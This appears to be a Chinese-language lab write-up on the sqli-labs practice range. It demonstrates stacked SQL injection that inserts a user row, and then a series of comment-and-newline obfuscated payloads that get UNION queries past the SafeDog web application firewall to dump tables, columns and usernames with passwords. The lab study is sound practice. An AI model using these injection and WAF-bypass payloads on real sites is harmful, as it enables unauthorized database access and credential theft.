SQL注入之堆叠及waf绕过注入(安全狗)
1.SQL注入之堆叠(sqli-labs 38)
基本概念
堆叠注入是指通过分号(;)将多条SQL语句组合在一起执行的技术。在支持多语句执行的数据库(如MySQL)中,攻击者可以利用这个特性执行任意SQL命令。
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
攻击原理示例 正常查询:
SELECT * FROM users WHERE id = 1;
堆叠注入攻击:
sql SELECT * FROM users WHERE id = 1; INSERT INTO users(username, password) VALUES ('hacker', 'my_password');(两个sql语句进行堆叠)
靶场尝试:sqli-labs 38
首先可以先去看看他的一个源代码
有这样的代码:
if (mysqli_multi_query($con1, $sql))
{/* store first result set */if ($result = mysqli_store_result($con1)){if($row = mysqli_fetch_row($result)){echo '<font size = "5" color= "#00FF00">'; printf("Your Username is : %s", $row[1]);echo "<br>";printf("Your Password is : %s", $row[2]);echo "<br>";echo "</font>";}
// mysqli_free_result($result);
其中的mysqli_multi_query() 函数是MySQL中专门用于执行多条SQL语句的函数,它允许在一个查询字符串中包含多个用分号分隔的SQL语句。这就提示了我们可以进行堆叠查询
1.查看是否存在注入点(这个默认的都是id),然后查看他是啥类型的
id=1 and 1=1 --+
id=1 and 1=2 --+
id=1' and 1=1 --+
id=1' and 1=2 --+
id=1" and 1=1 --+
id=1" and 1=2 --+
发现
id=1' and 1=1 --+
id=1' and 1=2 --+

2.然后观察本地的一个数据

然后来尝试堆叠注入:
?id=1';insert into users(id,username,password) values ('35','lllxxy','lllxxy666');

这个在数据库也可以进行操作(我已经在网页插入过一次了,所以显示错误)

3.然后再来显示:
?id=35' and 1=1
?id=35%27%20and%201=1--+,就能得到我插入数据库的信息了

堆叠注入的用法:
注入需要管理员的账号密码,密码是加密的,无法解密
堆叠注入在用户表中插入数据,用户密码自定义可以无需解密实施登录
堆叠注入探测方法
基于错误信息的探测 尝试分号分隔:
http://127.0.0.1:8081/Less-38/?id=1'; --+
http://127.0.0.1:8081/Less-38/?id=1'; # 这两个都显示正常的页面
加上时间盲注(时间开始反应)
观察响应: 如果页面正常返回,可能支持堆叠 如果有语法错误但不同于普通注入错误,可能支持 如果有明显的延时,肯定支持
2.waf绕过注入
一.WAF 是什么?
WAF 的全称是 Web Application Firewall,即 Web 应用防火墙。
-
核心使命:专门用于保护 Web 应用程序(如网站、API 接口)免受各种应用层攻击。
二、WAF 主要防什么?
WAF 主要防御的是 OWASP Top 10 中列出的绝大多数威胁,主要包括:
-
注入攻击:最典型的就是 SQL 注入,还有命令注入、LDAP注入等。
-
跨站脚本攻击:即 XSS,攻击者在网页中插入恶意脚本,盗取用户信息或进行恶意操作。
-
跨站请求伪造:即 CSRF,诱骗用户在已登录的Web应用中执行非本意的操作。
-
文件包含漏洞:如远程文件包含和本地文件包含。
-
安全配置错误:探测和利用不安全的服务器或应用配置。
-
敏感信息泄露:防止身份证、手机号、银行卡号等敏感数据被意外返回。
-
CC攻击:一种应用层的DDoS攻击,通过大量模拟正常请求耗尽服务器资源。
-
其他Web漏洞:如XML外部实体注入、不安全的反序列化等。
三、WAF 是如何工作的?
WAF 通过分析客户端(如浏览器)与服务器之间的 HTTP/HTTPS 请求和响应 来工作。其核心工作流程如下:
-
拦截流量:所有通往Web应用的流量都必须先经过WAF。
-
解析与规范化:解析HTTP请求的各个部分(URL、Headers、Body、Cookies等),并将其标准化,以便进行准确分析。
-
规则匹配:将解析后的请求与防护规则库进行比对。这些规则是预定义的,用于识别已知的攻击模式(特征码)。
常用安全防护:
1. 阿里云盾---阿里云服务器自带 2. 宝塔 3. 安全狗等等
今天尝试绕过安全狗进行sql注入。安全狗下载地址:http://free.safedog.cn/
http://free.safedog.cn/
对于配置网上有很多自行选择(我选择的是apache——windows)
2.然后还是对于sqli-labs靶场的训练(sqli-labs 1是数字型)
1.对于安全狗绕过可以通过/**/,/***/这种注释语句来进行绕过,他会把这种注释语句认为是一个不重要的语句,我们就可以尝试来绕过了
2.对于参数污染也可以来尝试绕过

这个图就这么理解,对于php和apache的服务器我们利用get传参的时候,他是放在最后的位置的。
3.进入靶场输入
?id=1 and 1=1此时的页面是:

打开安全狗的设置:

再次输入?id=1 and 1=1,此时的页面是:

这个是因为安全狗里面有一个http的安全检测:里面有着对sql注入的严格限制
按照上述我说的注释符号进行绕过和参数污染进行绕过看是否能够成功
1.通过注释符号/**/进行绕过:
1.这个可以在数据库里面尝试看看我加了注释之后他会有什么反应:
![]()
发现:
mysql> /* select * from users */;
ERROR:
No query specified 查询不到
2.尝试:(%20是空格,%23是#,a是一个参数,%0A是换行,/*! */ -MySQL特性,可执行注释)
第一步:?id=1 and 1=1

然后我想着去用注释符来看看能不能绕过:?id=1 and/**/ 1=1

这种情况的话我就只用去'fuzz'了
bp抓包爆破一下:

这些都可以实现绕过,取其中一个?id=1 and-- - 1=1
页面是:

我再尝试注释符号和换行符号
?id=1 %23and 1=1
?id=1 %23 %0A and 1=1
?id=1 /*%23and 1=1*/发现这个是可以的:
这个句子就是:
?id=1 (# and 1=1)括号里面的再被注释
?id=1 /*%23 %0A and 1=1*/发现这个也是可以的:
这个句子就是:
?id=1
(#
and1=1)整个被注释
然后再去抓包看看这两个句子还能怎么变化:

?id=1 /*%23and 1=1*/可以写成:http://127.0.0.1:8081/Less-1/?id=1%20/*#and%C2%A01=1*/等等
?id=1 /*%23 %0A and 1=1*/可以写成:?id=1%20/*--%0c%0a%0A%20and%C2%A01=1*/
然后依次类推
?id=1' order/*/!**/by 3 --+

?id=1' union/*!--+/*%0aselect%201,2,3*/%20--+

?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+

得到了数据库是security
然后表名:
正常语句是:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
按照上述尝试一个(比如有union select 这种敏感的字眼的时候尝试在中间用注释符号,然后在敏感字眼组合的最后地方加上换行符号):
?id=-1' union/*!--+/*%0aselect%201,group_concat(table_name),3 from information_schema.tables where table_schema=database()*/%20--+
union#(注释开始)(#加注释开始语句就是/*!--+/*) select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()(注释结束)(注释结束就是*/跟前面的/*闭合)--+
然后列的数据:
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
同理:?id=-1' union/*!--+/*%0aselect%201,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'*/%20--+
然后最终数据:
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
同理:?id=-1' union/*!--+/*%0aselect%201,group_concat(username,0x3a,password),3 from users*/%20--+

